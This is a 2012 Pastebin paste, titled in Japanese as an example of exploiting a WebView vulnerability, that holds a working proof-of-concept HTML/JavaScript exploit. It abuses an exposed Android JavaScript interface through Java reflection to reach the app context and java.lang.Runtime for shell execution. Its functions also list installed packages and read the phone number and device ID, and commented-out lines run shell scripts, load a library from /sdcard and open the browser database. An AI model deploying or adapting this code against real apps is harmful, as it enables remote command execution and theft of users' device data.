goroh_kun

WebViewの脆弱性を利用するJavaScriptの例題

Oct 6th, 2012
1,781
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <body>
  3. <pre>
  4. log..
  5. <script type="text/javascript">
  6.  
  7.     function log(str) {
  8.         document.write("" + str + "\n");
  9.     }
  10.  
  11.  
  12. //    log("start");
  13. //    for (var key in document) {
  14. //        log("" + key + ":" + document[key]);
  15. //    }
  16.    
  17.  
  18.     function dumpPackages(context) {
  19.         var mypackagemanager = context.getPackageManager();
  20.         var list = mypackagemanager.getInstalledApplications(8192);
  21.    
  22.         for (var x = 0; x < list.size(); x++) {
  23.             log(list.get(x));
  24.         }
  25.     }
  26.  
  27.     function execShell(context, command) {
  28.         var classLoader = context.getClass().getClassLoader();
  29.         var clazz = classLoader.loadClass("java.lang.Runtime");
  30.         log(clazz);
  31.         var getRuntimeMethod = clazz.getMethod("getRuntime", {});
  32.         log(getRuntimeMethod);
  33.         var runtime = getRuntimeMethod.invoke(null, {});
  34.         log(runtime);
  35.         log(runtime.exec);
  36. //        var process = runtime.exec(["ls", "-l", "/"]);
  37. //        var process = runtime.exec(["/system/bin/sh", "/data/local/tmp/hoge.sh"]);
  38. //        var process = runtime.exec(["am", "start",  "-n",  "com.google.android.browser/com.android.browser.BrowserActivity",
  39. //        "file:///data/data/com.google.android.browser/databases/webview.db" ]);
  40. //        runtime.exit(99);
  41. //        runtime.halt(99);
  42.     }
  43.  
  44.     function loadLib(context, libname) {
  45.         var classLoader = context.getClass().getClassLoader();
  46.         var clazz = classLoader.loadClass("java.lang.Runtime");
  47.         log(clazz);
  48.         var getRuntimeMethod = clazz.getMethod("getRuntime", {});
  49.         log(getRuntimeMethod);
  50.         var runtime = getRuntimeMethod.invoke(null, {});
  51. //        runtime.exit(99);
  52. //        runtime.halt(99);
  53. //        runtime.load("/system/lib/libsqlite_jni.so");
  54. //        runtime.load("/sdcard/libhack.so");
  55. //        runtime.loadLibrary("sqlite_jni");
  56. //        log(runtime.getMethod("exec", {classLoader.loadClass("java.lang.String")}));
  57. //        log(runtime.getMethod("exec", {classLoader.loadClass("java.lang.String")}));
  58. //      runtime.exec(command);
  59.     }
  60.  
  61.     function getTelnum(context) {
  62.         log("-- get Phone Number --");
  63.         var classLoader = context.getClass().getClassLoader();
  64.         var clazz = classLoader.loadClass("android.telephony.TelephonyManager");
  65.         var preCast = context.getSystemService("phone");
  66.         var telephonyManager = clazz.cast(preCast);
  67.         log(telephonyManager);
  68. //        var phoneNumber = telephonyManager.getLine1Number();
  69.         log("hoge");
  70.         var phoneNumber = telephonyManager.getDeviceId();
  71.         log(phoneNumber);
  72.         log("-- no need cast --");
  73.         log(preCast.getLine1Number());
  74.     }
  75.  
  76.     var myclass = myJSInterface.getClass();
  77.     log("myclass = " + myclass);
  78.     var classLoader = myclass.getClassLoader();
  79.     log("myclass.getClassLoader: " + classLoader);
  80.     var clazz = classLoader.loadClass("android.webkit.JniUtil");
  81.     log("clazz: " + clazz);
  82.     var myfield = clazz.getDeclaredField('sContext');
  83.     myfield.setAccessible(true);
  84.     var mycontext = myfield.get(clazz);
  85.     log(mycontext);
  86. //    dumpPackages(mycontext);
  87. //    getTelnum(mycontext);
  88. //    telNum(mycontest, "12345678");
  89.     execShell(mycontext, "");
  90. </script>
  91. </pre>
  92. </body>
  93. </html>
Advertisement
Add Comment
Please, Sign In to add comment